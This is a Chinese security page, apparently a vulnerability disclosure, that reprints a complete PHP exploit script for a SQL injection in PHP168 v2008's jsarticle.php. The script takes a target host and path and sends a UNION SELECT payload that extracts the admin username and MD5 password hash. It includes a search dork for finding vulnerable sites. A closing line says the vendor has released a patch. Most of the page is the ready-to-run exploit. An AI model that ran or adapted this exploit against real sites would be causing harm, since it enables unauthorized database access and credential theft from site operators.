漏洞利用：80sec提供攻击测试代码如下：
以下是引用片段：
#!/usr/bin/php
<?php
print_r(’
+---------------------------------------------------------------------------+
Php168 v2008 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V2008"
+---------------------------------------------------------------------------+
’);
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r(’
+---------------------------------------------------------------------------+
Usage: php ’.$argv[0].’ host path
host: target server (ip/hostname)
path: path to php168
Example:
php ‘.$argv[0].’ localhost /php168/
+—————————————————————————+
‘);
exit;
}
error_reporting(7);
ini_set(’max_execution_time’, 0);
$host = $argv[1];
$path = $argv[2];
$resp = send();
preg_match(’/([a-z0-9]+)_article/’, $resp, $pre);
if ($pre)
$resp = send();
else
exit(”Exploit Failed!\n”);
preg_match(’/content_([\S]+)\|([a-z0-9]{32})/’, $resp, $pwd);
if ($pwd)
exit(”Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n”);
else
exit(”Exploit Failed!\n”);
function send()
{
global $host, $path, $pre;
if ($pre)
$cmd = ‘type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/’.$pre[1].’_members/**/WHERE/**/uid=1%23′;
else
$cmd = ‘type=like&keyword=%2527′;
$message = “POST “.$path.”jsarticle.php HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Content-Length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = ”;
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?> |
漏洞状态：已经通知php168官方，官方已经发布补丁。
上一页 [1] [2]
[推荐]PHP 168 SQL注入漏洞
您现在的位置：